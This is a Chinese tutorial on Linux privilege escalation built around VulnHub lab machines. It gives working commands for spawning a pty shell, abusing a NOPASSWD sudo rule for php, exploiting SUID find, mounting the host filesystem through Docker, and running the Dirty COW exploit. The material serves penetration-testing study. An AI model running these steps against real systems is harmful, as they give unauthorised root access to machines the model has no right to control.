权限提升-Linux

张天师大约 3 分钟

交互式Shell

su root被禁止登录(获取交互shell)

拿到 root 密码,端口转发,代理,但防火墙禁止其他人登录 root;

用原来的低权限 shell,也无法 sudo 切换 root

提示

因为出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)

所以 sudo 在你输入密码的时候本质上是读取了键盘,而不是读取 bash 里面输入的字符

利用Python获取交互shell

python -c 'import pty;pty.spawn("/bin/sh")'
sudo su

Sudo滥用提权

原理

/etc/sudoers文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证

靶机-Me-And-My-Girlfriend

https://download.vulnhub.com/meandmygirlfriend/Me-and-My-Girlfriend-1.ovaopen in new window

1、信息收集

2、http头 X-Forwarded-For

3、注册用户-越权-爆破SSH

4、Sudo滥用提权 php

提权步骤:

1)查看当前用户有sudo权限的程序

sudo -l

#结果如下
Matching Defaults entries for alice on gfriEND:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on gfriEND:
  (root) NOPASSWD: /usr/bin/php

2)以root权限运行php生成一个交互shell

CMD="/bin/sh"
sudo php -r "system('$CMD');"

3)之后查看 /etc/sudoers文件

alice  ALL=(root) NOPASSWD: /usr/bin/php
#可以发现 alice用户可以用root权限无需密码运行 php

SUID提权

[Linux DirtyPipe权限提升漏洞 CVE-2022-0847](http://wiki.peiqi.tech/wiki/system/Linux/Linuxopen in new window DirtyPipe权限提升漏洞 CVE-2022-0847.html)

[Linux eBPF权限提升漏洞 CVE-2022-23222](http://wiki.peiqi.tech/wiki/system/Linux/Linuxopen in new window eBPF权限提升漏洞 CVE-2022-23222.html)

原理

SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行;

ls 查看时有 s 属性才支持 SUID。

靶机-DC1

https://download.vulnhub.com/dc/DC-1.zipopen in new window

1)查找正在系统上运行的所有SUID可执行文件

find / -user root -perm -4000 -print 2>/dev/null

2)SUID-find提权

#随便新建一个文件,或利用已有文件
touch abc

#以SUID即root权限执行命令
find abc -exec whomai \;

Docker提权

原理:

linux机器上的本地用户信息主要记录在/etc/目录下,比如两个常见文件/etc/passwd和/etc/group两个文件分别记录了用户基本属性与用户分组信息。

将宿主机上的/etc目录直接映射进容器,从而覆盖了容器内的/etc目录;再加上容器内用户默认是root,拥有超级管理员权限。

靶机:

https://download.vulnhub.com/sunset/dusk.7zopen in new window

Sudo滥用提权+Docker提权

1、先sudo提权到普通用户权限

2、Docker提权

1)查看当前用户是否在Docker用户组内 (id)

2)Dcker提权-映射磁盘

docker run -it --rm -v /etc:/etc 容器ID /bin/bash
或
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

系统内核漏洞提权

靶机-Lampiao

https://download.vulnhub.com/lampiao/Lampiao.zipopen in new window

1)系统内核信息收集

#查看系统版本内核信息
uname -a

#centos
hostnamectl 
#查看系统版本内核详细信息,推荐这个命令

#ubuntu
lsb_release -a

2)使用 searchsploitopen in new window 查找相关内核漏洞

searchsploit linux 3.10 CentOS Linux 7

3)脏牛提权 (Dirty COW) https://github.com/gbonacini/CVE-2016-5195open in new window

./dcow -s

编译好后报错cannot execute binary file: Exec format error,原因是系统版本和g++版本差异造成的,将源码上传到目标系统编译执行,成功执行

4)脏牛提权原理

该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,

可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。

当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,

如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。